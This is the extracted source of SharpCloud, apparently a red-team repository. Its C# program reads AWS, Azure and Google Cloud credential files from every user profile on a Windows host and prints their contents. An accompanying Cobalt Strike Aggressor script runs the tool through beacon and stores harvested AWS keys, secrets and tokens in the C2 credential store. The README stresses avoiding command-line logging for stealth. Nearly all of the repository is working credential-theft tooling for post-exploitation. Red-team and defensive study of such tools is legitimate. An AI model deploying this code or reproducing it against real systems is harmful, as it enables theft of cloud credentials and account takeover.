Full Code of chrismaddalena/SharpCloud for AI

master 58a3e7a9e95b cached
9 files
21.2 KB
4.8k tokens
11 symbols
1 requests
Download .txt
Repository: chrismaddalena/SharpCloud
Branch: master
Commit: 58a3e7a9e95b
Files: 9
Total size: 21.2 KB

Directory structure:
gitextract_6nhppghn/

├── .gitignore
├── LICENSE
├── README.md
├── SharpCloud/
│   ├── App.config
│   ├── Program.cs
│   ├── Properties/
│   │   └── AssemblyInfo.cs
│   └── SharpCloud.csproj
├── SharpCloud.sln
└── sharpcloud.cna

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitignore
================================================
.DS_Store


================================================
FILE: LICENSE
================================================
BSD 3-Clause License

Copyright (c) 2018, Chris Maddalena
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this
  list of conditions and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright notice,
  this list of conditions and the following disclaimer in the documentation
  and/or other materials provided with the distribution.

* Neither the name of the copyright holder nor the names of its
  contributors may be used to endorse or promote products derived from
  this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.


================================================
FILE: README.md
================================================
# SharpCloud
SharpCloud is a simple C# utility for checking for the existence of credential files related to Amazon Web Services, Microsoft Azure, and Google Compute.

More information: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48

## Basic Usage

SharpCloud can be run using one of the following commands:

* `SharpCloud.exe all`
    * Searches all user profiles for credentials related to Microsoft Azure, Google Compute, and Amazon Web Services.
* `SharpCloud.exe aws`
    * Searches all user profiles for credentials related to Amazon Web Services.
* `SharpCloud.exe azure`
    * Searches all user profiles for credentials related to Microsoft Azure.
* `SharpCloud.exe gcloud`
    * Searches all user profiles for credentials related to Google Compute.

## SharpCloud with Aggressor

If you use Cobalt Strike, this repo includes a sharpcloud.cna file for CS. This adds sveral aliases for `execute_assembly` with SharpCloud.exe:

* `dump_aws`
* `dump_gcloud`
* `dump_azure`

The SharpCloud.exe binary needs to be in the same directory as the script.

The aliases are fairly self-explanatory. As an example, `dump_aws` is an alias for `execute_assembly SharpCloud.exe aws`. While it would be trivial to set aside the C# and write SharpCloud using shell or PowerShell commands, this was not done to keep SharpCloud's checks and data collection as stealthy as possible. That means avoiding command line logging.

It is notable that `dump_aws` will add any discovered credentials to Cobalt Strike's Credentials model. Should the alias find AWS credentials, those credentials will be saved just like credentials discovered via Mimikatz and other Cobalt Strike utilities. They will appear with the `realm` set to "AWS" and the access key and access secret set as the `user` and `password`. If an AWS token is present in the profile, the token will be noted in the `password` field. The AWS profile name will be saved in the `source` field.

This is only done for AWS credentials, but might be done for Azure in a future version. It's not feasible for Google Compute because Compute uses SQLite3 databases and reading the values from them becomes much trickier. It is possible, and potentially useful, to do this for credential information found inside Compute's legacy_credential directory.

================================================
FILE: SharpCloud/App.config
================================================
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1" />
    </startup>
</configuration>

================================================
FILE: SharpCloud/Program.cs
================================================
using System;
using System.IO;
using System.Management;
using System.Collections.Generic;
using System.Security.Principal;

namespace SharpCloud
{
    class CloudDump
    {
        // Checks if the current user has administrative privileges
        public static bool IsAdministrator()
        {
            WindowsIdentity identity = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }


        // Collects usernames using Win32_UserAccount query, filters the usernames, and returns list
        public static List<string> GetUsers()
        {
            // Create two user lists to ignore select local/domain usernames that will not have credentials
            List<string> usernames = new List<string>();
            List<string> ignored_users = new List<string>();
            ignored_users.Add("DefaultAccount");
            ignored_users.Add("WDAGUtilityAccount");
            ignored_users.Add("Guest");
            ignored_users.Add("Administrator");
            ignored_users.Add("krbtgt");

            // Win32_UserAccount will return all use profiles on the host
            // If the host is unable to talk to the domain, it will miss domain account profiles
            SelectQuery sQuery = new SelectQuery("Win32_UserAccount");

            try
            {
                ManagementObjectSearcher mSearcher = new ManagementObjectSearcher(sQuery);
                foreach (ManagementObject mObject in mSearcher.Get())
                {
                    string strUser = Convert.ToString(mObject["Name"]);
                    if (!ignored_users.Contains(strUser))
                    {
                        usernames.Add(strUser);
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }

            return usernames;
        }


        // Checks if the provided filename exists and returns its contents
        static void CheckFile(string filename)
        {
            if (File.Exists(filename))
            {
                Console.WriteLine(Environment.NewLine + "[*] Found {0}:", filename);
                string fileContents = File.ReadAllText(filename);
                if (filename.Contains(".db")) {
                    //string cleaned = fileContents.Substring(fileContents.IndexOf("CREATE TABLE"));
                    //Console.WriteLine(Environment.NewLine + Convert.ToString(cleaned));
                    Console.WriteLine("L.. You will want to copy this file.");
                } else
                {
                    Console.WriteLine(Environment.NewLine + Convert.ToString(fileContents));
                }
            }
        }


        // Checks if the provided command exists in the provided PATH
        static Boolean CheckCommand(string command, string path)
        {
            Boolean commandExists = false;
            if (path.Contains(command))
            {
                commandExists = true;
            }
            return commandExists;
        }


        // Prints basic usage information for the utility
        static void Usage()
        {
            Console.WriteLine(" SharpCloud can be run using one of the following commands:\r\n");
            Console.WriteLine(" .. \"SharpCloud.exe all\"    - Searches all user profiles for credentials related to all cloud services.");
            Console.WriteLine(" .. \"SharpCloud.exe aws\"    - Searches all user profiles for credentials related to Amazon Web Services.");
            Console.WriteLine(" .. \"SharpCloud.exe azure\"  - Searches all user profiles for credentials related to Microsoft Azure.");
            Console.WriteLine(" .. \"SharpCloud.exe gcloud\" - Searches all user profiles for credentials related to Google Compute.");
        }


        // Checks for files associated with AWS credentials
        static void CheckAWS(string user)
        {
            // Credential and config file locations in $HOME on Windows
            string awsKeyFile = String.Format(@"C:\Users\{0}\.aws\credentials", user);
            Console.WriteLine("[+] Checking for awscli files...");
            CheckFile(awsKeyFile);
        }


        // Checks for files associated with Azure credentials
        static void CheckAzure(string user)
        {
            // Credential and config file locations in $HOME on Windows
            string azureTokens = String.Format(@"C:\Users\{0}\.azure\accessTokens.json", user);
            string azureProfile = String.Format(@"C:\Users\{0}\.azure\azureProfile.json", user);
            Console.WriteLine(Environment.NewLine + "[+] Checking for Azure CLI files...");
            CheckFile(azureTokens);
            CheckFile(azureProfile);
        }


        // Checks for files associated with Google Compute credentials
        static void CheckGoogle(string user)
        {
            // Credential and config file locations in $HOME on Windows
            string computeLegacyCreds = String.Format(@"C:\Users\{0}\AppData\Roaming\gcloud\legacy_credentials", user);
            string computeCredsDb = String.Format(@"C:\Users\{0}\AppData\Roaming\gcloud\credentials.db", user);
            string computeAccessTokensDb = String.Format(@"C:\Users\{0}\AppData\Roaming\gcloud\access_tokens.db", user);
            Console.WriteLine(Environment.NewLine + "[+] Checking for Google Compute SDK files...");
            CheckFile(computeCredsDb);
            CheckFile(computeAccessTokensDb);
            if (Directory.Exists(computeLegacyCreds))
            {
                string[] legacyCreds = Directory.GetFiles(computeLegacyCreds, "*", SearchOption.AllDirectories);
                foreach (var file in legacyCreds)
                {
                    CheckFile(file);
                }
            }
        }


        // Checks for any and all credentials files
        static void CheckAll(string user)
        {
            CheckAWS(user);
            CheckAzure(user);
            CheckGoogle(user);
        }


        /**
        SharpCloud will generate a list of users, check if the current user is an administrator,
        check if any of the CLI tools are installed, and then check for credential files based on
        the command line option used.
        **/
        static void Main(string[] args)
        {
            if (args.Length != 0) {
                // Get a list of all user profiles
                List<string> allUsers = GetUsers();
                // CLI commands to search for in the user's PATH
                string azureCLI = @"Azure\CLI2";
                string computeCLI = @"google-cloud-sdk";
                string awsCLI = @"AWSCLI";
                // Get the current user
                string currentUser = Environment.UserName;
                Console.WriteLine("[+] Operating in the context of the '{0}' user.", currentUser);
                // Check if the current user is an administrator
                if (IsAdministrator())
                {
                    Console.WriteLine("[*] Current user is an Administrator!");
                } else
                {
                    Console.WriteLine("[!] Current user is NOT an Administrator! Cloud files for other users may not be returned.");
                }
                // Get the current user's PATH and check for CLI tools
                string userPath = Environment.GetEnvironmentVariable("PATH");
                Boolean awsExists = CheckCommand(awsCLI, userPath);
                Boolean computeExists = CheckCommand(computeCLI, userPath);
                Boolean azureExists = CheckCommand(azureCLI, userPath);
                if (awsExists)
                {
                    Console.WriteLine("[+] AWSCLI exists in the current user's PATH. You should be able to use 'aws' commands.");
                } else {
                    Console.WriteLine("[+] AWSCLI is not in the current user's PATH.");
                }
                if (computeExists)
                {
                    Console.WriteLine("[+] Google Compute SDK exists in the current user's PATH. You should be able to use 'gcloud' and 'gsutil' commands.");
                } else {
                    Console.WriteLine("[+] Google Compute SDK is not in the current user's PATH.");
                }
                if (azureExists)
                {
                    Console.WriteLine("[+] Azure CLI exists in the current user's PATH. You should be able to use 'az' commands.");
                } else {
                    Console.WriteLine("[+] Azure CLI is not in the current user's PATH.");
                }
                // Check the user arguments and then loop through users for checks
                foreach (string arg in args) {
                    if (string.Equals(arg, "all", StringComparison.CurrentCultureIgnoreCase)) {
                        foreach (var user in allUsers) {
                            Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user);
                            CheckAll(user);
                        }
                    }
                    else if (string.Equals(arg, "aws", StringComparison.CurrentCultureIgnoreCase)) {
                        foreach (var user in allUsers) {
                            Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user);
                            CheckAWS(user);
                        }
                    }
                    else if (string.Equals(arg, "azure", StringComparison.CurrentCultureIgnoreCase)) {
                        foreach (var user in allUsers) {
                            Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user);
                            CheckAzure(user);
                        }
                    }
                    else if (string.Equals(arg, "gcloud", StringComparison.CurrentCultureIgnoreCase)) {
                        foreach (var user in allUsers) {
                            Console.WriteLine(Environment.NewLine + "[+] Checking home directory for the {0} user:", user);
                            CheckGoogle(user);
                        }
                    }
                    else {
                        Usage();
                        return;
                    }
                }
                Console.WriteLine(Environment.NewLine + "[+] Job's done! Press Enter to continue.");
                Console.Read();
            }
            else {
                Usage();
                return;
            }
        }
    }
}


================================================
FILE: SharpCloud/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;

// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("SharpCloud")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("SharpCloud")]
[assembly: AssemblyCopyright("Copyright ©  2018")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]

// Setting ComVisible to false makes the types in this assembly not visible
// to COM components.  If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]

// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("ca4e257e-69c1-45c5-9375-ba7874371892")]

// Version information for an assembly consists of the following four values:
//
//      Major Version
//      Minor Version
//      Build Number
//      Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]


================================================
FILE: SharpCloud/SharpCloud.csproj
================================================
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
  <PropertyGroup>
    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
    <ProjectGuid>{CA4E257E-69C1-45C5-9375-BA7874371892}</ProjectGuid>
    <OutputType>Exe</OutputType>
    <RootNamespace>SharpCloud</RootNamespace>
    <AssemblyName>SharpCloud</AssemblyName>
    <TargetFrameworkVersion>v4.6.1</TargetFrameworkVersion>
    <FileAlignment>512</FileAlignment>
    <AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
  </PropertyGroup>
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugSymbols>true</DebugSymbols>
    <DebugType>full</DebugType>
    <Optimize>false</Optimize>
    <OutputPath>bin\Debug\</OutputPath>
    <DefineConstants>DEBUG;TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
  </PropertyGroup>
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugType>pdbonly</DebugType>
    <Optimize>true</Optimize>
    <OutputPath>bin\Release\</OutputPath>
    <DefineConstants>TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
  </PropertyGroup>
  <ItemGroup>
    <Reference Include="System" />
    <Reference Include="System.Core" />
    <Reference Include="System.Management" />
    <Reference Include="System.Xml.Linq" />
    <Reference Include="System.Data.DataSetExtensions" />
    <Reference Include="Microsoft.CSharp" />
    <Reference Include="System.Data" />
    <Reference Include="System.Net.Http" />
    <Reference Include="System.Xml" />
  </ItemGroup>
  <ItemGroup>
    <Compile Include="Program.cs" />
    <Compile Include="Properties\AssemblyInfo.cs" />
  </ItemGroup>
  <ItemGroup>
    <None Include="App.config" />
  </ItemGroup>
  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

================================================
FILE: SharpCloud.sln
================================================

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 15
VisualStudioVersion = 15.0.27703.2042
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpCloud", "SharpCloud\SharpCloud.csproj", "{CA4E257E-69C1-45C5-9375-BA7874371892}"
EndProject
Global
	GlobalSection(SolutionConfigurationPlatforms) = preSolution
		Debug|Any CPU = Debug|Any CPU
		Release|Any CPU = Release|Any CPU
	EndGlobalSection
	GlobalSection(ProjectConfigurationPlatforms) = postSolution
		{CA4E257E-69C1-45C5-9375-BA7874371892}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
		{CA4E257E-69C1-45C5-9375-BA7874371892}.Debug|Any CPU.Build.0 = Debug|Any CPU
		{CA4E257E-69C1-45C5-9375-BA7874371892}.Release|Any CPU.ActiveCfg = Release|Any CPU
		{CA4E257E-69C1-45C5-9375-BA7874371892}.Release|Any CPU.Build.0 = Release|Any CPU
	EndGlobalSection
	GlobalSection(SolutionProperties) = preSolution
		HideSolutionNode = FALSE
	EndGlobalSection
	GlobalSection(ExtensibilityGlobals) = postSolution
		SolutionGuid = {1AFB766A-67B0-4402-8E1F-2E1CE933E97B}
	EndGlobalSection
EndGlobal


================================================
FILE: sharpcloud.cna
================================================
alias dump_aws {
    # Execute SharpCloud with the "aws" option
	bexecute_assembly($1, script_resource("SharpCloud.exe"), "aws");
    # Once beacon receives output, find any AWS creds
    on beacon_output {
        # Split SharpCloud's output by newlines for iteration
        @data = split("\n",$2);
        $counter = 0;
        foreach $line (@data)
        {
            # Find the line that denotes the beginning of new AWS creds
            if ($line hasmatch 'aws_access_key_id.')
            {
                # The counter helps if multiple AWS creds are returned for one user
                # We can detect the beginning of one and use the counter to grab the data
                $aws_profile = replace(@data[$counter - 1], '\[', "");
                $aws_profile = "AWS Profile: " . replace($aws_profile, '\]', "");
                $aws_key = replace(split("=", $line)[1], " ", "");
                $aws_secret = replace(split("=", @data[$counter + 1])[1], " ", "");
                # Not all creds will have or need tokens, so check for that and then adcreds to beacon's credential model
                if (@data[$counter + 2] hasmatch 'aws_session_token.')
                {
                    $aws_token = replace(split("=", @data[$counter + 2])[1], " ", "");
                    credential_add($aws_key,"Secret: " . $aws_secret . ", Token: " . $aws_token, "AWS", $aws_profile, beacon_info($1, "computer"));
                } else {
                    credential_add($aws_key,"Secret: " . $aws_secret, "AWS", $aws_profile, beacon_info($1, "computer"));
                }
            }
            $counter++;
        }
    }
}

alias dump_azure {
	bexecute_assembly($1, script_resource("SharpCloud.exe"), "azure");
}

alias dump_gcloud {
	bexecute_assembly($1, script_resource("SharpCloud.exe"), "gcloud");
}
Download .txt
gitextract_6nhppghn/

├── .gitignore
├── LICENSE
├── README.md
├── SharpCloud/
│   ├── App.config
│   ├── Program.cs
│   ├── Properties/
│   │   └── AssemblyInfo.cs
│   └── SharpCloud.csproj
├── SharpCloud.sln
└── sharpcloud.cna
Download .txt
SYMBOL INDEX (11 symbols across 1 files)

FILE: SharpCloud/Program.cs
  class CloudDump (line 9) | class CloudDump
    method IsAdministrator (line 12) | public static bool IsAdministrator()
    method GetUsers (line 21) | public static List<string> GetUsers()
    method CheckFile (line 58) | static void CheckFile(string filename)
    method CheckCommand (line 77) | static Boolean CheckCommand(string command, string path)
    method Usage (line 89) | static void Usage()
    method CheckAWS (line 100) | static void CheckAWS(string user)
    method CheckAzure (line 110) | static void CheckAzure(string user)
    method CheckGoogle (line 122) | static void CheckGoogle(string user)
    method CheckAll (line 143) | static void CheckAll(string user)
    method Main (line 156) | static void Main(string[] args)
Condensed preview — 9 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (23K chars).
[
  {
    "path": ".gitignore",
    "chars": 10,
    "preview": ".DS_Store\n"
  },
  {
    "path": "LICENSE",
    "chars": 1515,
    "preview": "BSD 3-Clause License\n\nCopyright (c) 2018, Chris Maddalena\nAll rights reserved.\n\nRedistribution and use in source and bin"
  },
  {
    "path": "README.md",
    "chars": 2302,
    "preview": "# SharpCloud\nSharpCloud is a simple C# utility for checking for the existence of credential files related to Amazon Web "
  },
  {
    "path": "SharpCloud/App.config",
    "chars": 187,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\" ?>\r\n<configuration>\r\n    <startup> \r\n        <supportedRuntime version=\"v4.0\" sku="
  },
  {
    "path": "SharpCloud/Program.cs",
    "chars": 10993,
    "preview": "using System;\r\nusing System.IO;\r\nusing System.Management;\r\nusing System.Collections.Generic;\r\nusing System.Security.Pri"
  },
  {
    "path": "SharpCloud/Properties/AssemblyInfo.cs",
    "chars": 1424,
    "preview": "using System.Reflection;\r\nusing System.Runtime.CompilerServices;\r\nusing System.Runtime.InteropServices;\r\n\r\n// General I"
  },
  {
    "path": "SharpCloud/SharpCloud.csproj",
    "chars": 2374,
    "preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<Project ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbu"
  },
  {
    "path": "SharpCloud.sln",
    "chars": 1127,
    "preview": "\r\nMicrosoft Visual Studio Solution File, Format Version 12.00\r\n# Visual Studio 15\r\nVisualStudioVersion = 15.0.27703.204"
  },
  {
    "path": "sharpcloud.cna",
    "chars": 1828,
    "preview": "alias dump_aws {\n    # Execute SharpCloud with the \"aws\" option\n\tbexecute_assembly($1, script_resource(\"SharpCloud.exe\")"
  }
]

About this extraction

This page contains the full source code of the chrismaddalena/SharpCloud GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 9 files (21.2 KB), approximately 4.8k tokens, and a symbol index with 11 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!